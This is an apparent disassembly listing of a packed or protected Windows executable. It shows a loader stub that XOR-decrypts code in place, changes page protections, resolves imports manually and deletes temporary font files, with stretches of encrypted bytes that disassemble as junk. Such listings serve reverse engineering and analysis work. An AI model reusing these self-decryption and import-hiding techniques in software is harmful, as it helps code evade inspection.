loc_495714:				; CODE XREF: sub_4956D0+2Fj
		mov	byte ptr [ebp+var_28], 0

loc_495718:				; CODE XREF: sub_4956D0+42j
		mov	edx, [ebp+var_28]
		and	edx, 0FFh
		test	edx, edx
		jz	loc_4957AE
		mov	[ebp+var_4], 0
		cmp	ds:dword_4A28E8, 0
		jz	short loc_495783
		mov	ecx, ds:dword_4A28E8
		call	sub_49CA67

loc_495744:				; CODE XREF: sub_4956D0:loc_495781j
		lea	eax, [ebp+var_1C]
		push	eax
		lea	ecx, [ebp+var_20]
		push	ecx
		mov	ecx, ds:dword_4A28E8
		call	sub_49CA7E
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_495783
		mov	edx, [ebp+var_1C]
		cmp	dword ptr [edx], 0
		jnz	short loc_495781
		mov	eax, [ebp+var_20]
		mov	ecx, [eax]
		push	ecx
		call	ds:dword_4A27EC	; RemoveFontResourceA
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+4]
		push	eax
		call	ds:dword_4A26C0	; DeleteFileA

loc_495781:				; CODE XREF: sub_4956D0+96j
		jmp	short loc_495744
; ---------------------------------------------------------------------------

loc_495783:				; CODE XREF: sub_4956D0+67j
					; sub_4956D0+8Ej
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_495791
		jmp	short loc_4957AE
sub_4956D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_495791	proc near		; CODE XREF: sub_4956D0+BAp
					; DATA XREF: _5:0049F448o
		mov	ecx, ds:dword_4A28E8
		mov	[ebp-2Ch], ecx
		cmp	dword ptr [ebp-2Ch], 0
		jz	short locret_4957AD
		mov	edx, [ebp-2Ch]
		add	edx, 10h
		push	edx
		call	ds:dword_49F018	; RtlLeaveCriticalSection

locret_4957AD:				; CODE XREF: sub_495791+Dj
		retn
sub_495791	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4956D0

loc_4957AE:				; CODE XREF: sub_4956D0+53j
					; sub_4956D0+BFj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4956D0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4957BF	proc near		; CODE XREF: sub_49589D+Cp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0049588E SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F450
		push	offset sub_48D54C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_34], edx
		mov	[ebp+var_30], ecx
		mov	eax, offset dword_48E720
		push	dword ptr [eax+4]
		call	ds:dword_4A26C4	; RtlEnterCriticalSection
		and	[ebp+var_4], 0
		mov	eax, [ebp+var_30]
		mov	eax, [eax]
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_30]
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_24]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_2C]
		sub	ecx, eax
		mov	[ebp+var_1C], ecx
		mov	eax, [ebp+var_24]
		shr	eax, 10h
		mov	ecx, [ebp+var_2C]
		add	ecx, eax
		mov	[ebp+var_28], ecx
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_20], eax
		jmp	short loc_49583A
; ---------------------------------------------------------------------------

loc_495833:				; CODE XREF: sub_4957BF+9Dj
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax

loc_49583A:				; CODE XREF: sub_4957BF+72j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_28]
		jz	short loc_49585E
		mov	eax, [ebp+var_1C]
		imul	eax, 19660Dh
		add	eax, 3C6EF35Fh
		mov	ecx, [ebp+var_1C]
		mov	cl, [ecx]
		xor	cl, al
		mov	eax, [ebp+var_1C]
		mov	[eax], cl
		jmp	short loc_495833
; ---------------------------------------------------------------------------

loc_49585E:				; CODE XREF: sub_4957BF+81j
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_20]
		push	eax
		push	[ebp+var_20]
		push	ds:dword_4A268C
		call	ds:dword_4A2670	; FlushInstructionCache
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_49587F
		jmp	short loc_49588E
sub_4957BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_49587F	proc near		; CODE XREF: sub_4957BF+B9p
					; DATA XREF: _5:0049F458o
		mov	eax, offset dword_48E720
		push	dword ptr [eax+4]
		call	ds:dword_4A2754	; RtlLeaveCriticalSection
		retn
sub_49587F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4957BF

loc_49588E:				; CODE XREF: sub_4957BF+BEj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_4957BF

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49589D	proc near		; CODE XREF: sub_48EB7Ej

arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		pusha
		xor	edx, edx
		lea	ecx, [ebp+arg_0]
		call	sub_4957BF
		popa
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_49589D	endp

; ---------------------------------------------------------------------------

loc_4958B6:				; CODE XREF: _4:0048EB83j _4:0048EB88j
		mov	ecx, 0EF000008h
		call	sub_499342

loc_4958C0:				; CODE XREF: sub_495DC0+12Ap
		push	ebp
		mov	ebp, esp
		sub	esp, 0F8h
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 0
		jz	loc_49598A
		push	300000h
		call	sub_48EB7E
		das
		pop	esp
		jmp	far ptr	0ACF4h:78C07626h
; ---------------------------------------------------------------------------
		db 79h,	51h, 0C5h
		dd 0D3767C0Eh, 9A3C1583h, 61222F3Ch, 569A14B2h,	51ACF93Bh
		dd 795DE1D6h, 8AC55F6Ch, 6E1F4C7h, 0DDEA9A95h, 847AACBFh
		dd 6408A2E6h, 0F4972036h, 0DEAD53CBh, 0D9318176h, 7A25BFCCh
		dd 66815367h, 3D4A3AD5h, 24DA4C5Fh, 0C468C286h,	0A179C1BCh
		dd 52068794h, 4B34FCBFh, 5121FE3h, 0D1F96FEFh, 627220C4h
		dd 0B1617C44h, 5A424F31h, 7B38D747h, 0B9CB6DC2h, 99A668AAh
		dd 1F06D28Ch, 313E4B8Bh, 3278658Bh, 0DED6E3F0h,	95A2B3C9h
		dd 9E91AF1Fh, 433950ABh, 90901320h, 0C985C933h
		db 75h,	0EEh
; ---------------------------------------------------------------------------

loc_49598A:				; CODE XREF: _4:004958D0j
		cmp	dword ptr [ebp+8], 0
		jz	loc_495A9D
		mov	dword ptr [ebp-0E4h], 0
		push	5F0000h
		call	sub_48EB7E
		ja	short loc_495A0E
		xor	bl, ah
		sahf
		cli
		inc	eax
		lodsb
		les	ebx, [ecx]	; CODE XREF: _4:004959B2j
		jns	short near ptr loc_4959B0+1
		into
		test	[esi+5C4DBBE2h], bl
; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------
		adc	al, 7
		cli
		cdq
		mov	cl, [esi+eax*8]
		mov	ecx, 0F36FEBACh
		add	cl, [esi+ebx*2+58434451h]
		retn	310h
; ---------------------------------------------------------------------------
		dw 9DF6h
		dd 0DFB43472h, 818E9B43h, 4DB11D00h, 0E893340h,	1A0D3981h
		dd 0C745F0A4h, 7D8A64DEh, 0BA241770h, 63222F3Ch, 0E1EE187Ah
		dd 521A50D4h, 0F1916C2Ch, 2A525F02h, 6B33E757h
		db 29h
byte_495A0D	db 7Dh			; CODE XREF: _4:00495A36j
; ---------------------------------------------------------------------------

loc_495A0E:				; CODE XREF: _4:004959A8j
		sti
		test	eax, 0A9B628A2h
		pushf

loc_495A15:				; CODE XREF: _4:00495A20j
		sti
		enter	68AAh, 5Bh
		dec	esi
		cmp	eax, 4F6ED00Dh
		jecxz	short loc_495A15
		out	0D9h, al
		mov	eax, 65B38C81h

loc_495A29:				; CODE XREF: _4:00495A49j
		xchg	esp, ds:0C1542B53h[eax]
		cmp	al, 78h
		bound	edi, [ebx+1Bh]
		out	dx, eax
		loop	near ptr byte_495A0D
		mov	esi, 94A141C9h
		xchg	ecx, [esi]
		pop	es
		mov	edx, [ebx+46h]
		cmp	[ecx-7199795h],	eax
		jmp	short loc_495A29
; ---------------------------------------------------------------------------
		db 7Eh
		dd 9D45C5B6h, 1DD88390h, 35429036h, 6A19B628h, 0B1251884h
		dd 0A6DC5CFBh, 76E58A07h, 26C1FEBCh, 2F5D25Ch, 36296F67h
		dd 0FB59B843h, 90907B88h, 0C085C033h, 8D8BEE75h, 0FFFFFF1Ch
		dd 0FF088D89h, 958BFFFFh, 0FFFFFF08h, 3943E852h, 0C4830000h
		db 4
; ---------------------------------------------------------------------------

loc_495A9D:				; CODE XREF: _4:0049598Ej
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_495AB0	proc near		; CODE XREF: sub_495D70+29p
					; sub_495DC0+234p

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3A		= byte ptr -3Ah
var_39		= byte ptr -39h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		mov	[ebp+var_4], 1
		mov	[ebp+var_8], 0
		jmp	short loc_495ACC
; ---------------------------------------------------------------------------

loc_495AC3:				; CODE XREF: sub_495AB0+106j
					; sub_495AB0+2A8j
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax

loc_495ACC:				; CODE XREF: sub_495AB0+11j
		mov	ecx, [ebp+var_8]
		imul	ecx, 14h
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+ecx+0Ch], 0
		jnz	short loc_495AE1
		jmp	loc_495D5D
; ---------------------------------------------------------------------------

loc_495AE1:				; CODE XREF: sub_495AB0+2Aj
		mov	eax, [ebp+var_8]
		imul	eax, 14h
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		add	edx, [ecx+eax]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		imul	eax, 14h
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		add	edx, [ecx+eax+10h]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		cmp	ecx, [eax+34h]
		jnz	short loc_495B19
		mov	edx, [ebp+var_20]
		mov	[ebp+var_C], edx
		jmp	short loc_495B27
; ---------------------------------------------------------------------------

loc_495B19:				; CODE XREF: sub_495AB0+5Fj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_495B27
		mov	ecx, [ebp+var_20]
		mov	[ebp+var_C], ecx

loc_495B27:				; CODE XREF: sub_495AB0+67j
					; sub_495AB0+6Fj
		mov	[ebp+var_14], 0
		mov	edx, [ebp+var_8]
		imul	edx, 14h
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		add	ecx, [eax+edx+0Ch]
		mov	[ebp+var_24], ecx
		cmp	[ebp+arg_14], 0
		jz	short loc_495B5A
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		call	sub_49675D
		add	esp, 8
		mov	[ebp+var_14], eax

loc_495B5A:				; CODE XREF: sub_495AB0+95j
		cmp	[ebp+var_14], 0
		jnz	short loc_495B6C
		mov	ecx, [ebp+var_24]
		push	ecx
		call	sub_49BF8C
		mov	[ebp+var_14], eax

loc_495B6C:				; CODE XREF: sub_495AB0+AEj
		mov	edx, [ebp+var_8]
		imul	edx, 14h
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		cmp	dword ptr [eax+edx+4], 0FFFFFFFEh
		setnz	cl
		mov	byte ptr [ebp+var_1C], cl
		mov	edx, [ebp+var_8]
		imul	edx, 14h
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+edx+4], 0
		jnz	short loc_495B9F
		mov	ecx, [ebp+var_1C]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_495BDD

loc_495B9F:				; CODE XREF: sub_495AB0+E0j
		mov	edx, [ebp+arg_10]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_495BBD
		cmp	[ebp+var_14], 0
		jnz	short loc_495BBB
		mov	[ebp+var_4], 0
		jmp	loc_495AC3
; ---------------------------------------------------------------------------

loc_495BBB:				; CODE XREF: sub_495AB0+100j
		jmp	short loc_495BDD
; ---------------------------------------------------------------------------

loc_495BBD:				; CODE XREF: sub_495AB0+FAj
		mov	eax, [ebp+var_24]
		push	eax
		call	sub_49BE83
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_495BDD
		mov	ecx, [ebp+var_24]
		push	ecx
		push	offset aTheDynamicLink ; "The dynamic link library '%s' could not"...
		call	sub_4994F7

loc_495BDD:				; CODE XREF: sub_495AB0+EDj
					; sub_495AB0:loc_495BBBj ...
		mov	edx, ds:off_4A1BE8
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_C]
		mov	ds:off_4A1BE8, eax
		push	0
		call	ds:dword_4A2718	; GetModuleHandleA
		cmp	eax, [ebp+arg_4]
		jnz	short loc_495C62
		mov	[ebp+var_34], offset aExecutable ; "EXECUTABLE"
		mov	ecx, [ebp+arg_C]
		mov	[ebp+var_38], ecx

loc_495C08:				; CODE XREF: sub_495AB0+18Aj
		mov	edx, [ebp+var_38]
		mov	al, [edx]
		mov	[ebp+var_39], al
		mov	ecx, [ebp+var_34]
		cmp	al, [ecx]
		jnz	short loc_495C45
		cmp	[ebp+var_39], 0
		jz	short loc_495C3C
		mov	edx, [ebp+var_38]
		mov	al, [edx+1]
		mov	[ebp+var_3A], al
		mov	ecx, [ebp+var_34]
		cmp	al, [ecx+1]
		jnz	short loc_495C45
		add	[ebp+var_38], 2
		add	[ebp+var_34], 2
		cmp	[ebp+var_3A], 0
		jnz	short loc_495C08

loc_495C3C:				; CODE XREF: sub_495AB0+16Bj
		mov	[ebp+var_40], 0
		jmp	short loc_495C4D
; ---------------------------------------------------------------------------

loc_495C45:				; CODE XREF: sub_495AB0+165j
					; sub_495AB0+17Cj
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh
		mov	[ebp+var_40], edx

loc_495C4D:				; CODE XREF: sub_495AB0+193j
		mov	eax, [ebp+var_40]
		mov	[ebp+var_44], eax
		cmp	[ebp+var_44], 0
		jz	short loc_495C62
		mov	[ebp+var_48], 0
		jmp	short loc_495C69
; ---------------------------------------------------------------------------

loc_495C62:				; CODE XREF: sub_495AB0+149j
					; sub_495AB0+1A7j
		mov	[ebp+var_48], 1

loc_495C69:				; CODE XREF: sub_495AB0+1B0j
		mov	cl, byte ptr [ebp+var_48]
		mov	byte ptr [ebp+var_10], cl
		jmp	short loc_495C83
; ---------------------------------------------------------------------------

loc_495C71:				; CODE XREF: sub_495AB0:loc_495D3Aj
		mov	edx, [ebp+var_20]
		add	edx, 4
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_C]
		add	eax, 4
		mov	[ebp+var_C], eax

loc_495C83:				; CODE XREF: sub_495AB0+1BFj
		mov	ecx, [ebp+var_20]
		cmp	dword ptr [ecx], 0
		jz	loc_495D3F
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx], 0
		jz	loc_495D3F
		mov	eax, [ebp+var_8]
		imul	eax, 14h
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+eax+4], 0
		jnz	short loc_495CB8
		mov	edx, [ebp+var_1C]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_495D16

loc_495CB8:				; CODE XREF: sub_495AB0+1F9j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		and	ecx, 80000000h
		test	ecx, ecx
		jnz	short loc_495CEA
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_4]
		add	eax, [edx]
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+var_28]
		add	ecx, 2
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	ds:dword_4A2728	; GetProcAddress
		mov	ecx, [ebp+var_20]
		mov	[ecx], eax
		jmp	short loc_495D16
; ---------------------------------------------------------------------------

loc_495CEA:				; CODE XREF: sub_495AB0+215j
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		and	eax, 0FFFFh
		mov	[ebp+var_30], eax
		mov	ecx, [ebp+var_30]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		call	ds:dword_4A2728	; GetProcAddress
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jz	short loc_495D16
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_2C]
		mov	[eax], ecx

loc_495D16:				; CODE XREF: sub_495AB0+206j
					; sub_495AB0+238j ...
		mov	edx, [ebp+var_10]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_495D3A
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, ds:off_4A1BE8
		push	ecx
		mov	edx, [ebp+var_20]
		push	edx
		call	sub_4963D0
		add	esp, 0Ch

loc_495D3A:				; CODE XREF: sub_495AB0+271j
		jmp	loc_495C71
; ---------------------------------------------------------------------------

loc_495D3F:				; CODE XREF: sub_495AB0+1D9j
					; sub_495AB0+1E5j
		mov	eax, [ebp+var_18]
		mov	ds:off_4A1BE8, eax
		mov	ecx, [ebp+var_8]
		imul	ecx, 14h
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx+4], 0FFFFFFFEh
		jmp	loc_495AC3
; ---------------------------------------------------------------------------

loc_495D5D:				; CODE XREF: sub_495AB0+2Cj
		mov	al, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_495AB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_495D70	proc near		; CODE XREF: sub_496BD7+1B8p
					; sub_49714D+45p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_4A2914
		add	eax, 1
		mov	ds:dword_4A2914, eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	dl, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_495AB0
		add	esp, 18h
		mov	[ebp+var_4], al
		mov	ecx, ds:dword_4A2914
		sub	ecx, 1
		mov	ds:dword_4A2914, ecx
		mov	al, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_495D70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_495DC0	proc near		; CODE XREF: _4:0048F2A6p

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		mov	[ebp+var_18], 0
		call	sub_493DD0
		call	sub_49ADD4
		call	sub_48D3F3
		mov	eax, ds:dword_4A2684
		mov	ecx, [eax+4]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_18]
		add	eax, [edx+3Ch]
		mov	ds:dword_4A2910, eax
		mov	ecx, ds:dword_4A2910
		cmp	dword ptr [ecx], 4550h
		jz	short loc_495E0D
		mov	ecx, 0EF000002h
		call	sub_499342

loc_495E0D:				; CODE XREF: sub_495DC0+41j
		mov	edx, ds:dword_4A2698
		sub	edx, 3
		mov	[ebp+var_4], edx
		cmp	ds:dword_4A2680, 1
		jz	short loc_495E37
		lea	eax, [ebp+var_8]
		push	eax
		push	4
		push	190h
		mov	ecx, [ebp+var_18]
		push	ecx
		call	ds:dword_4A27AC	; VirtualProtect

loc_495E37:				; CODE XREF: sub_495DC0+60j
		mov	[ebp+var_14], 0
		jmp	short loc_495E49
; ---------------------------------------------------------------------------

loc_495E40:				; CODE XREF: sub_495DC0+AFj
					; sub_495DC0:loc_495F6Dj
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx

loc_495E49:				; CODE XREF: sub_495DC0+7Ej
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_4]
		jnb	loc_495F72
		mov	ecx, [ebp+var_14]
		imul	ecx, 28h
		mov	edx, ds:off_4A269C
		add	edx, ecx
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_495E71
		jmp	short loc_495E40
; ---------------------------------------------------------------------------

loc_495E71:				; CODE XREF: sub_495DC0+ADj
		cmp	[ebp+var_14], 20h
		jnb	short loc_495E98
		mov	edx, 1
		mov	ecx, [ebp+var_14]
		shl	edx, cl
		mov	eax, ds:dword_4A2684
		mov	ecx, [eax+10h]
		and	ecx, edx
		test	ecx, ecx
		jz	short loc_495E98
		mov	[ebp+var_34], 1
		jmp	short loc_495E9F
; ---------------------------------------------------------------------------

loc_495E98:				; CODE XREF: sub_495DC0+B5j
					; sub_495DC0+CDj
		mov	[ebp+var_34], 0

loc_495E9F:				; CODE XREF: sub_495DC0+D6j
		mov	edx, [ebp+var_34]
		mov	[ebp+var_28], edx
		cmp	[ebp+var_14], 20h
		jnb	short loc_495ECD
		mov	eax, 1
		mov	ecx, [ebp+var_14]
		shl	eax, cl
		mov	ecx, ds:dword_4A2684
		mov	edx, [ecx+14h]
		and	edx, eax
		test	edx, edx
		jz	short loc_495ECD
		mov	[ebp+var_38], 1
		jmp	short loc_495ED4
; ---------------------------------------------------------------------------

loc_495ECD:				; CODE XREF: sub_495DC0+E9j
					; sub_495DC0+102j
		mov	[ebp+var_38], 0

loc_495ED4:				; CODE XREF: sub_495DC0+10Bj
		mov	eax, [ebp+var_38]
		mov	[ebp+var_2C], eax
		mov	ecx, [ebp+var_18]
		push	ecx
		mov	edx, [ebp+var_20]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	loc_4958C0
		mov	edx, [ebp+var_20]
		mov	eax, [edx+24h]
		and	eax, 20000000h
		test	eax, eax
		jz	short loc_495F19
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+24h]
		and	edx, 80000000h
		neg	edx
		sbb	edx, edx
		and	edx, 20h
		add	edx, 20h
		mov	[ebp+var_3C], edx
		jmp	short loc_495F32
; ---------------------------------------------------------------------------

loc_495F19:				; CODE XREF: sub_495DC0+13Cj
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+24h]
		and	ecx, 80000000h
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 2
		add	ecx, 2
		mov	[ebp+var_3C], ecx

loc_495F32:				; CODE XREF: sub_495DC0+157j
		mov	edx, [ebp+var_3C]
		mov	[ebp+var_24], edx
		cmp	ds:dword_4A2680, 1
		jz	short loc_495F6D
		mov	eax, ds:dword_4A2910
		xor	ecx, ecx
		mov	cx, [eax+14h]
		mov	edx, ds:dword_4A2910
		lea	eax, [edx+ecx+18h]
		mov	ecx, [ebp+var_14]
		imul	ecx, 28h
		add	eax, ecx
		mov	[ebp+var_30], eax
		mov	edx, [ebp+var_30]
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+24h]
		mov	[edx+24h], ecx

loc_495F6D:				; CODE XREF: sub_495DC0+17Fj
		jmp	loc_495E40
; ---------------------------------------------------------------------------

loc_495F72:				; CODE XREF: sub_495DC0+8Fj
		cmp	ds:dword_4A2680, 1
		jz	short loc_495FA3
		mov	edx, ds:dword_4A2910
		mov	eax, ds:off_4A269C
		mov	ecx, [eax-0Ch]
		mov	[edx+0ECh], ecx
		mov	edx, ds:dword_4A2910
		mov	eax, ds:off_4A269C
		mov	ecx, [eax-8]
		mov	[edx+0E8h], ecx

loc_495FA3:				; CODE XREF: sub_495DC0+1B9j
		cmp	ds:dword_4A2680, 1
		jz	short loc_495FC3
		lea	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		push	190h
		mov	ecx, [ebp+var_18]
		push	ecx
		call	ds:dword_4A27AC	; VirtualProtect

loc_495FC3:				; CODE XREF: sub_495DC0+1EAj
		mov	edx, ds:dword_4A2684
		mov	eax, [ebp+var_18]
		add	eax, [edx+8]
		mov	[ebp+var_C], eax
		mov	ds:dword_4A2914, 0
		push	0
		push	0
		push	offset aExecutable ; "EXECUTABLE"
		mov	ecx, ds:dword_4A2910
		push	ecx
		mov	edx, [ebp+var_18]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_495AB0
		add	esp, 18h
		call	sub_49713C
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_49601F

loc_49600A:				; CODE XREF: sub_495DC0+258j
		call	sub_49714D
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_49601A
		jmp	short loc_49600A
; ---------------------------------------------------------------------------

loc_49601A:				; CODE XREF: sub_495DC0+256j
		call	sub_49713C

loc_49601F:				; CODE XREF: sub_495DC0+248j
		push	offset aImm32_dll ; "imm32.dll"
		call	ds:dword_4A2718	; GetModuleHandleA
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_496041
		push	offset aImm32_dll ; "imm32.dll"
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_496070

loc_496041:				; CODE XREF: sub_495DC0+271j
		push	offset aOleoaut32_dll ;	"oleoaut32.dll"
		call	ds:dword_4A2718	; GetModuleHandleA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_496063
		push	offset aOleaout32_dll ;	"oleaout32.dll"
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_496070

loc_496063:				; CODE XREF: sub_495DC0+293j
		mov	esp, ebp
		pop	ebp
		retn
sub_495DC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_496070	proc near		; CODE XREF: sub_495DC0+27Cp
					; sub_495DC0+29Ep ...

var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, ds:dword_4A2914
		add	eax, 1
		mov	ds:dword_4A2914, eax
		mov	ecx, [ebp+arg_4]
		mov	ds:off_4A1BE8, ecx
		push	9
		lea	ecx, [ebp+var_28]
		call	sub_49C77C
		lea	edx, [ebp+var_28]
		push	edx
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4960D0
		add	esp, 0Ch
		mov	ecx, ds:dword_4A2914
		sub	ecx, 1
		mov	ds:dword_4A2914, ecx
		mov	[ebp+var_2C], 1
		lea	ecx, [ebp+var_28]
		call	sub_49C82A
		mov	eax, [ebp+var_2C]
		mov	esp, ebp
		pop	ebp
		retn	8
sub_496070	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4960D0	proc near		; CODE XREF: sub_496070+30p
					; sub_4960D0+24Bp

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_49F460
		push	offset sub_48D54C
